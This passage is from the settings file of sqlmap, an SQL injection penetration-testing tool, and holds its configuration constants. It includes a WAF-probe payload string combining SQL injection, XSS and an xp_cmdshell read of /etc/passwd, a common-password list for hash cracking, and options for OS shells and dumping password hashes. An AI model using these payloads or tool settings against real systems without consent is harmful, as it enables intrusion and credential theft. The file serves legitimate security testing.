(DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES), (DBMS.HANA, HANA_ALIASES))
|
|
|
|
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
|
REFERER_ALIASES = ("ref", "referer", "referrer")
|
|
HOST_ALIASES = ("host",)
|
|
|
|
# DBMSes with upper case identifiers
|
|
UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE, DBMS.HANA))
|
|
|
|
# Default schemas to use (when unable to enumerate)
|
|
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
|
VERTICA_DEFAULT_SCHEMA = "public"
|
|
MCKOI_DEFAULT_SCHEMA = "APP"
|
|
CACHE_DEFAULT_SCHEMA = "SQLUser"
|
|
SPANNER_DEFAULT_SCHEMA = "default"
|
|
|
|
# DBMSes where OFFSET mechanism starts from 1
|
|
PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.CACHE))
|
|
|
|
# Names that can't be used to name files on Windows OS
|
|
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
|
|
|
# Items displayed in basic help (-h) output
|
|
BASIC_HELP_ITEMS = (
|
|
"url",
|
|
"googleDork",
|
|
"data",
|
|
"cookie",
|
|
"randomAgent",
|
|
"proxy",
|
|
"testParameter",
|
|
"dbms",
|
|
"level",
|
|
"risk",
|
|
"technique",
|
|
"getAll",
|
|
"getBanner",
|
|
"getCurrentUser",
|
|
"getCurrentDb",
|
|
"getPasswordHashes",
|
|
"getDbs",
|
|
"getTables",
|
|
"getColumns",
|
|
"getSchema",
|
|
"dumpTable",
|
|
"dumpAll",
|
|
"db",
|
|
"tbl",
|
|
"col",
|
|
"osShell",
|
|
"osPwn",
|
|
"batch",
|
|
"checkTor",
|
|
"flushSession",
|
|
"tor",
|
|
"sqlmapShell",
|
|
"wizard",
|
|
)
|
|
|
|
# Tags used for value replacements inside shell scripts
|
|
SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%"
|
|
SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%"
|
|
|
|
# String representation for NULL value
|
|
NULL = "NULL"
|
|
|
|
# String representation for blank ('') value
|
|
BLANK = "<blank>"
|
|
|
|
# String representation for current database
|
|
CURRENT_DB = "CD"
|
|
|
|
# String representation for current user
|
|
CURRENT_USER = "CU"
|
|
|
|
# Name of SQLite file used for storing session data
|
|
SESSION_SQLITE_FILE = "session.sqlite"
|
|
|
|
# Regular expressions used for finding file paths in error messages
|
|
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"\bin (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s'\"])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s'\"])(?P<result>/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P<result>/[^'\"]+)", r"\bin <b>(?P<result>[^<]+): line \d+")
|
|
|
|
# Regular expressions used for parsing error messages (--parse-errors)
|
|
ERROR_PARSING_REGEXES = (
|
|
r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P<result>[^<]+)",
|
|
r"<b>[^<]{0,100}(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>[^<]+)",
|
|
r"(?m)^\s{0,100}(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
|
|
r"(sql|dbc)[^>'\"]{0,32}(fatal|error|warning|exception)(</b>)?:\s*(?P<result>[^<>]+)",
|
|
r"(?P<result>[^\n>]{0,100}SQL Syntax[^\n<]+)",
|
|
r"(?s)<li>Error Type:<br>(?P<result>.+?)</li>",
|
|
r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
|
|
r"Code: \d+. DB::Exception: (?P<result>[^<>\n]*)",
|
|
r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
|
|
r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)",
|
|
r"(?P<result>query error: SELECT[^<>]+)",
|
|
r"(?P<result>(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)",
|
|
r'"(?:errmsg|errorMessage|reason|msg)"\s*:\s*"(?P<result>[^"]+)"' # generic JSON error-message field (NoSQL document/REST back-ends)
|
|
)
|
|
|
|
# Regular expression used for parsing charset info from meta html headers (Note: the tempered token
|
|
# '(?:(?!</head>).)*?' keeps the meta strictly INSIDE <head> - as the old trailing '.*</head>' did -
|
|
# while the bounded meta-attr scan '{0,300}?' keeps it LINEAR; the old greedy form went quadratic and
|
|
# hung for many minutes on an attacker-controlled body full of '<meta' tokens lacking '>'/'</head>')
|
|
META_CHARSET_REGEX = r"""(?si)<head\b[^>]*>(?:(?!</head>).)*?<meta[^>]{0,300}?charset\s*=\s*["']?(?P<result>[^"'> ]+)"""
|
|
|
|
# Regular expression used for parsing refresh info from meta html headers
|
|
META_REFRESH_REGEX = r'(?i)<meta http-equiv="?refresh"?[^>]+content="?[^">]+;\s*(url=)?["\']?(?P<result>[^\'">]+)'
|
|
|
|
# Regular expression used for parsing Javascript redirect request
|
|
JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=\s*["\'](?P<result>[^"\']+)'
|
|
|
|
# Regular expression used for parsing empty fields in tested form data
|
|
EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=)(?=&|\Z)'
|
|
|
|
# Reference: http://www.cs.ru.nl/bachelorscripties/2010/Martin_Devillers___0437999___Analyzing_password_strength.pdf
|
|
COMMON_PASSWORD_SUFFIXES = ("1", "123", "2", "12", "3", "13", "7", "11", "5", "22", "23", "01", "4", "07", "21", "14", "10", "06", "08", "8", "15", "69", "16", "6", "18")
|
|
|
|
# Reference: http://www.the-interweb.com/serendipity/index.php?/archives/94-A-brief-analysis-of-40,000-leaked-MySpace-passwords.html
|
|
COMMON_PASSWORD_SUFFIXES += ("!", ".", "*", "!!", "?", ";", "..", "!!!", ",", "@")
|
|
|
|
# Most common passwords (frequency-ordered) tried for very slow, per-hash-salted algorithms (bcrypt) where a
|
|
# full dictionary is impractical; kept small on purpose so a candidate-major attack stays within a time budget
|
|
COMMON_PASSWORDS = ("123456", "123456789", "12345678", "password", "qwerty", "12345", "123123", "111111", "1234567890", "1234567", "qwerty123", "000000", "1q2w3e", "abc123", "password1", "1234", "qwertyuiop", "123321", "password123", "1q2w3e4r5t", "iloveyou", "654321", "666666", "987654321", "1q2w3e4r", "7777777", "dragon", "1qaz2wsx", "123qwe", "monkey", "123456a", "112233", "qwe123", "159753", "letmein", "11111111", "222222", "123abc", "qazwsx", "555555", "princess", "admin", "121212", "1234qwer", "sunshine", "football", "aaaaaa", "123123123", "computer", "michael", "superman", "welcome", "zxcvbnm", "asdfghjkl", "1111", "shadow", "master", "999999", "88888888", "secret", "qwerty1", "12341234", "101010", "1111111", "asdfgh", "147258369", "qwertyui", "123654", "google", "123456789a", "ashley", "jesus", "ninja", "mustang", "baseball", "jennifer", "hunter", "soccer", "batman", "andrew", "tigger", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "hannah", "maggie", "696969", "harley", "1234abcd", "trustno1", "buster", "starwars", "freedom", "whatever", "qazwsxedc", "passw0rd")
|
|
|
|
# Splitter used between requests in WebScarab log files
|
|
WEBSCARAB_SPLITTER = "### Conversation"
|
|
|
|
# Splitter used between requests in BURP log files
|
|
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+(={10,}|\Z)"
|
|
|
|
# Regex used for parsing XML Burp saved history items
|
|
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
|
|
|
|
# Encoding used for Unicode data
|
|
UNICODE_ENCODING = "utf8"
|
|
|
|
# Reference: http://www.w3.org/Protocols/HTTP/Object_Headers.html#uri
|
|
URI_HTTP_HEADER = "URI"
|
|
|
|
# Uri format which could be injectable (e.g. www.site.com/id82)
|
|
URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
|
|
|
|
# Regex used for masking sensitive data
|
|
SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*\b%s\b[^\s]*)\s"
|
|
|
|
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
|
|
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "authCred", "sqlQuery", "requestFile", "csrfToken", "csrfData", "csrfUrl", "testParameter")
|
|
|
|
# Maximum number of threads (avoiding connection issues and/or DoS)
|
|
MAX_NUMBER_OF_THREADS = 10
|
|
|
|
# Wrapper applied to MySQL UNION-based retrieval values to neutralize "Illegal mix of collations" errors (e.g. utf8mb4_0900_ai_ci tables vs a utf8mb4_general_ci connection on MySQL 8+). CONVERT normalizes the (possibly binary) charset to utf8mb4 and the explicit COLLATE then wins the UNION column merge (highest coercibility)
|
|
MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin"
|
|
|
|
# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size)
|
|
KEYSET_MIN_ROWS = 1000
|
|
|
|
# Number of consecutive Huffman (set-membership) character attempts allowed to decline/escape without a single validated success before the technique latches itself off (safety against trimmed/blocked long IN() payloads)
|
|
HUFFMAN_PROBE_LIMIT = 8
|
|
|
|
# Cold-start (prior) weights for the order-0 Huffman model used in adaptive blind retrieval. Gently
|
|
# biases the initial tree toward bytes that dominate real DBMS output (lowercase text, digits, common
|
|
# identifier punctuation) so SHORT extractions don't pay the full balanced-tree depth before the online
|
|
# frequency model warms up. Magnitude is small so genuine learned counts overtake it within a few dozen
|
|
# characters (kept low-risk for uniform/hex columns: hex digits 0-9a-f are themselves favored here).
|
|
HUFFMAN_PRIOR_WEIGHTS = {}
|
|
for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), (3, "_.-/@:,'")):
|
|
for _char in _chars:
|
|
HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight
|
|
|
|
# Enumeration contexts (kb.partRun) for which predictive inference is active by default: the identifier
|
|
# names retrieved here are drawn from a known, skewed distribution captured by the common-tables/
|
|
# common-columns wordlists, so whole-value prediction / charset reordering pays off. Deliberately NOT
|
|
# applied to arbitrary dumped data (unknown distribution) or one-shot values (banner, current-user).
|
|
NAME_PREDICTION_CONTEXTS = ("Tables", "Columns")
|
|
|
|
# Order of the character-level Markov model used to seed the Huffman set-membership tree during blind
|
|
# name enumeration: warmed from the shipped identifier corpus so it predicts a name from the first
|
|
# character (identifiers are short, structured and low-entropy). CATALOG_IDENTIFIERS_PRIOR_PEAK is the
|
|
# weight the corpus prior is scaled to (higher -> the predicted next character sits nearer the tree
|
|
# root -> closer to one request per character). Data dumps keep the classic order-0 adaptive model.
|
|
NAME_MARKOV_ORDER = 3
|
|
CATALOG_IDENTIFIERS_PRIOR_PEAK = 20
|
|
|
|
# Maximum number of distinct values a dumped column may show before it is treated as high-cardinality
|
|
# and whole-value guessing is abandoned for it. At or below this, each new cell is first confirmed by
|
|
# equality against the values already seen for that column (one request on a hit) before per-character
|
|
# extraction. Self-verifying, so it never returns a wrong value; the bound keeps misses cheap.
|
|
LOW_CARDINALITY_THRESHOLD = 32
|
|
|
|
# Oracle-reliability litmus: during bulk blind extraction (dumps / name enumeration) a known-answer
|
|
# differential is fired every this-many extracted values - one probe that MUST be TRUE (the value we just
|
|
# read equals itself) and one that MUST be FALSE (it equals a deliberately corrupted copy). A healthy
|
|
# oracle always answers T/F; an always-true channel (WAF/200-for-everything, reads-everything-true) or a
|
|
# flaky/degraded one (timing jitter, lease near end-of-life) trips it - converting SILENT data corruption
|
|
# into a one-time "results may be unreliable" warning. The first value is always checked (catch it before
|
|
# a whole garbage dump), then every Nth. Cheap and amortized; set to 0 to disable.
|
|
ORACLE_LITMUS_CHECK_EVERY = 25
|
|
|
|
# Whole-value guessing only starts once some value has repeated (proof the column is low-cardinality), so
|
|
# an all-unique column - primary key, hash, free text - never wastes a probe. Once armed, at most this
|
|
# many candidates (most-frequent first) are tried per cell, so even a column that trips the threshold with
|
|
# many near-unique values can only ever waste a small, bounded number of probes before falling back.
|
|
LOW_CARDINALITY_MAX_GUESSES = 8
|
|
|
|
# Number of consecutive dumped rows a column's observed character set must stay unchanged before it is
|
|
# trusted as closed and used to restrict the time-based bisection alphabet. A column whose alphabet keeps
|
|
# growing (e.g. a monotonic primary key or high-entropy text) never reaches this, so it is never charged
|
|
# the speculative restricted-search-then-escalate cost.
|
|
DUMP_CHARSET_STABLE_ROWS = 3
|
|
|
|
# Bounds for feeding extracted values back into the predictive-inference pool for their enumeration
|
|
# context, so later same-context items that share structure (e.g. wp_posts / wp_users / wp_options ...)
|
|
# are predicted faster. MAX_LENGTH keeps large data cells from bloating/polluting the pool (identifiers
|
|
# are short); MAX_ITEMS bounds per-context growth so a huge enumeration cannot make the per-character
|
|
# prediction scan costly. Only fed single-threaded (never mutated under value-parallel enumeration).
|
|
PREDICTION_FEEDBACK_MAX_LENGTH = 128
|
|
PREDICTION_FEEDBACK_MAX_ITEMS = 10000
|
|
|
|
# Minimum range between minimum and maximum of statistical set
|
|
MIN_STATISTICAL_RANGE = 0.01
|
|
|
|
# Minimum value for comparison ratio
|
|
MIN_RATIO = 0.0
|
|
|
|
# Maximum value for comparison ratio
|
|
MAX_RATIO = 1.0
|
|
|
|
# Minimum length of sentence for automatic choosing of --string (in case of high matching ratio)
|
|
CANDIDATE_SENTENCE_MIN_LENGTH = 10
|
|
|
|
# Character used for marking injectable position inside provided data
|
|
CUSTOM_INJECTION_MARK_CHAR = '*'
|
|
|
|
# Wildcard value that can be used in option --ignore-code
|
|
IGNORE_CODE_WILDCARD = '*'
|
|
|
|
# Other way to declare injection position
|
|
INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
|
|
|
|
# Minimum chunk length used for retrieving data over error based payloads
|
|
MIN_ERROR_CHUNK_LENGTH = 8
|
|
|
|
# Maximum chunk length used for retrieving data over error based payloads
|
|
MAX_ERROR_CHUNK_LENGTH = 1024
|
|
|
|
# Do not escape the injected statement if it contains any of the following SQL keywords
|
|
EXCLUDE_UNESCAPE = ("WAITFOR DELAY '", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
|
|
|
|
# Mark used for replacement of reflected values
|
|
REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
|
|
|
|
# Regular expression used for replacing border non-alphanum characters
|
|
REFLECTED_BORDER_REGEX = r"[^A-Za-z]+"
|
|
|
|
# Regular expression used for replacing non-alphanum characters
|
|
REFLECTED_REPLACEMENT_REGEX = r"[^\n]{1,168}"
|
|
|
|
# Maximum time (in seconds) spent per reflective value(s) replacement
|
|
REFLECTED_REPLACEMENT_TIMEOUT = 3
|
|
|
|
# Maximum number of alpha-numerical parts in reflected regex (for speed purposes)
|
|
REFLECTED_MAX_REGEX_PARTS = 10
|
|
|
|
# Chars which can be used as a failsafe values in case of too long URL encoding value
|
|
URLENCODE_FAILSAFE_CHARS = "()|,"
|
|
|
|
# Factor used for yuge page multiplication
|
|
YUGE_FACTOR = 1000
|
|
|
|
# Maximum length of URL encoded value after which failsafe procedure takes away
|
|
URLENCODE_CHAR_LIMIT = 2000
|
|
|
|
# Default schema for Microsoft SQL Server DBMS
|
|
DEFAULT_MSSQL_SCHEMA = "dbo"
|
|
|
|
# Display hash attack info every mod number of items
|
|
HASH_MOD_ITEM_DISPLAY = 11
|
|
|
|
# Display marker for (cracked) empty password
|
|
HASH_EMPTY_PASSWORD_MARKER = "<empty>"
|
|
|
|
# Maximum integer value
|
|
MAX_INT = sys.maxsize
|
|
|
|
# Signed 64-bit range of SQLite's INTEGER storage class (used for safe --dump-format=SQLITE typing)
|
|
SQLITE_INT_MIN = -0x8000000000000000
|
|
SQLITE_INT_MAX = 0x7fffffffffffffff
|
|
|
|
# Replacement for unsafe characters in dump table filenames
|
|
UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
|
|
|
|
# Options that need to be restored in multiple targets run mode
|
|
RESTORE_MERGED_OPTIONS = ("col", "db", "dbms", "os", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
|
|
|
|
# Parameters to be ignored in detection phase (upper case)
|
|
IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "__SCROLLPOSITIONX", "__SCROLLPOSITIONY", "__PREVIOUSPAGE", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "PHPSESSID", "SESSID", "CFID", "CFTOKEN")
|
|
|
|
# Regular expression used for recognition of ASP.NET control parameters
|
|
ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$"
|
|
|
|
# Regex for Google analytics cookie names
|
|
GOOGLE_ANALYTICS_COOKIE_REGEX = r"(?i)\A(_ga|_gid|_gat|_gcl_au|__utm[abcz])"
|
|
|
|
# Prefix for configuration overriding environment variables
|
|
SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"
|
|
|
|
# General OS environment variables that can be used for setting proxy address
|
|
PROXY_ENVIRONMENT_VARIABLES = ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY")
|
|
|
|
# Turn off resume console info to avoid potential slowdowns
|
|
TURN_OFF_RESUME_INFO_LIMIT = 20
|
|
|
|
# Strftime format for results file used in multiple target mode
|
|
RESULTS_FILE_FORMAT = "results-%m%d%Y_%I%M%p.csv"
|
|
|
|
# Official web page with the list of Python supported codecs
|
|
CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encodings"
|
|
|
|
# Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition)
|
|
SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\("
|
|
|
|
# Option/switch values to ignore during configuration save
|
|
IGNORE_SAVE_OPTIONS = ("saveConfig",)
|
|
|
|
# IP address of the localhost
|
|
LOCALHOST = "127.0.0.1"
|
|
|
|
# Default SOCKS ports used by Tor
|
|
DEFAULT_TOR_SOCKS_PORTS = (9050, 9150)
|
|
|
|
# Default HTTP ports used by Tor
|
|
DEFAULT_TOR_HTTP_PORTS = (8123, 8118)
|
|
|
|
# Percentage below which comparison engine could have problems
|
|
LOW_TEXT_PERCENT = 20
|
|
|
|
# Auxiliary value used in isDBMSVersionAtLeast() version comparison correction cases
|
|
VERSION_COMPARISON_CORRECTION = 0.0001
|
|
|
|
# These MySQL keywords can't go (alone) into versioned comment form (/*!...*/)
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html
|
|
IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM")
|
|
|
|
# Keywords expected to be in UPPERCASE in getValue()
|
|
GET_VALUE_UPPERCASE_KEYWORDS = ("SELECT", "FROM", "WHERE", "DISTINCT", "COUNT")
|
|
|
|
LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program"
|
|
|
|
# After this number of misses reflective removal mechanism is turned off (for speed up reasons)
|
|
REFLECTIVE_MISS_THRESHOLD = 20
|
|
|
|
# Regular expression used for extracting HTML title
|
|
HTML_TITLE_REGEX = r"(?i)<title>(?P<result>[^<]+)</title>"
|
|
|
|
# Table used for Base64 conversion in WordPress hash cracking routine
|
|
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
|
|
|
# Options/switches to be ignored in command-line parsing (e.g. those passed from Firefox)
|
|
IGNORED_OPTIONS = ("--compressed",)
|
|
|
|
# Chars used to quickly distinguish if the user provided tainted parameter values
|
|
DUMMY_SQL_INJECTION_CHARS = ";()'"
|
|
|
|
# Simple check against dummy users
|
|
DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b"
|
|
|
|
# Extensions skipped by crawler
|
|
CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
|
|
|
|
# Endpoint mining inside JavaScript bundles during crawling (SPA API routes live in .js, invisible to
|
|
# href/src scraping): quoted absolute-path or same-origin-URL string literals (fetch/axios/XHR targets).
|
|
# MAX_* caps per-bundle results so a noisy minified file cannot flood the target list.
|
|
JAVASCRIPT_ENDPOINT_REGEX = r'''["'`](?P<result>(?:https?:)?//[\w.:@-]+/[^"'`\s]*|/[A-Za-z0-9_][^"'`\s]*)["'`]'''
|
|
MAX_JAVASCRIPT_ENDPOINTS = 200
|
|
# only the leading slice of a bundle/source-map is scanned for endpoints - bounds CPU/RAM on a hostile response
|
|
MAX_JAVASCRIPT_MINE_SIZE = 1 * 1024 * 1024
|
|
# max source distance (chars) between a string-constant assignment and a `name + "/suffix"` use it may fold into
|
|
MAX_JAVASCRIPT_FOLD_DISTANCE = 2048
|
|
# cap on Disallow/Allow/Sitemap lines consumed from a (potentially hostile) robots.txt
|
|
MAX_ROBOTS_ENTRIES = 1000
|
|
# bounds on sitemap parsing: number of sitemap documents fetched (recursion fan-out) and total URLs kept
|
|
MAX_SITEMAP_FETCHES = 100
|
|
MAX_SITEMAP_URLS = 100000
|
|
|
|
# Patterns often seen in HTTP headers containing custom injection marking character '*'
|
|
# Note: the ';q=' quality-value class excludes '*' so a user-placed injection mark right after a
|
|
# quality value (e.g. 'Accept: ...;q=0.9*') is not swallowed (ref: #5357 - header injection was then
|
|
# missed on a GET lacking a Content-Length header, which is otherwise what forces params detection)
|
|
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)"
|
|
|
|
# Template used for common table existence check
|
|
BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
|
|
|
|
# Template used for common column existence check
|
|
BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
|
|
|
|
# Data inside shellcodeexec to be filled with random string
|
|
SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
|
|
|
# Period after last-update to start nagging about the old revision
|
|
LAST_UPDATE_NAGGING_DAYS = 180
|
|
|
|
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
|
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
|
|
|
# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9)
|
|
CHECK_INTERNET_ADDRESS = "http://www.google.com/generate_204"
|
|
|
|
# HTTP code to look in response to CHECK_INTERNET_ADDRESS
|
|
CHECK_INTERNET_CODE = 204
|
|
|
|
# Payload used for checking of existence of WAF/IPS (dummier the better)
|
|
IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
|
|
|
|
# Used for status representation in dictionary attack phase
|
|
ROTATING_CHARS = ('\\', '|', '|', '/', '-')
|
|
|
|
# Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory)
|
|
BIGARRAY_CHUNK_SIZE = 32 * 1024 * 1024
|
|
|
|
# Compress level used for storing BigArray chunks to disk (0-9)
|
|
BIGARRAY_COMPRESS_LEVEL = 4
|
|
|
|
# Maximum number of socket pre-connects
|
|
SOCKET_PRE_CONNECT_QUEUE_SIZE = 3
|
|
|
|
# Only console display last n table rows
|
|
TRIM_STDOUT_DUMP_SIZE = 256
|
|
|
|
# Reference: http://stackoverflow.com/a/3168436
|
|
# Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149
|
|
DUMP_FILE_BUFFER_SIZE = 1024
|
|
|
|
# Block size used for the in-place secure-overwrite passes of '--purge' (bounds peak memory regardless of file size)
|
|
PURGE_BLOCK_SIZE = 1024 * 1024
|
|
|
|
# Parse response headers only first couple of times
|
|
PARSE_HEADERS_LIMIT = 3
|
|
|
|
# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
|
|
ORDER_BY_STEP = 10
|
|
|
|
# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections
|
|
ORDER_BY_MAX = 1000
|
|
|
|
# Maximum number of times for revalidation of a character in inference (as required)
|
|
MAX_REVALIDATION_STEPS = 5
|
|
|
|
# Characters that can be used to split parameter values in provided command line (e.g. in --tamper)
|
|
PARAMETER_SPLITTING_REGEX = r"[,|;]"
|
|
|
|
# Attribute used for storing original parameter value in special cases (e.g. POST)
|
|
UNENCODED_ORIGINAL_VALUE = "original"
|
|
|
|
# Common column names containing usernames (used for hash cracking in some cases)
|
|
COMMON_USER_COLUMNS = frozenset(("login", "user", "uname", "username", "user_name", "user_login", "account", "account_name", "auth_user", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "customer", "cuser"))
|
|
|
|
# Default delimiter in GET/POST values
|
|
DEFAULT_GET_POST_DELIMITER = '&'
|
|
|
|
# Default delimiter in cookie values
|
|
DEFAULT_COOKIE_DELIMITER = ';'
|
|
|
|
# Unix timestamp used for forcing cookie expiration when provided with --load-cookies
|
|
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
|
|
|
|
# Restricted PAT token for automated crash reporting (last rotation: 2026-04-24)
|
|
